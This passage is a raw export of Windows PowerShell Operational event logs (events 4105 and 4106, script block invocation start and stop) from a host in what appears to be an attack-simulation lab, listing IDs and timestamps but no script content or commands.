ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028842
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028841
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028840
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028839
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028838
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028837
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028836
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028835
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028834
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028833
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028832
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028831
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028830
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028829
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028828
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028827
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028826
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028825
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028824
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028823
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028822
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028821
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028820
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028819
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028818
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028817
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028816
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028815
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028814
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028813
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028812
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028811
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028810
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028809
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028808
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028807
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028806
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028805
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028804
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028803
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028802
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028801
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028800
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028799
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028798
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028797
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028796
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028795
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028794
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028793
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028792
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028791
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028790
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028789
Keywords=None
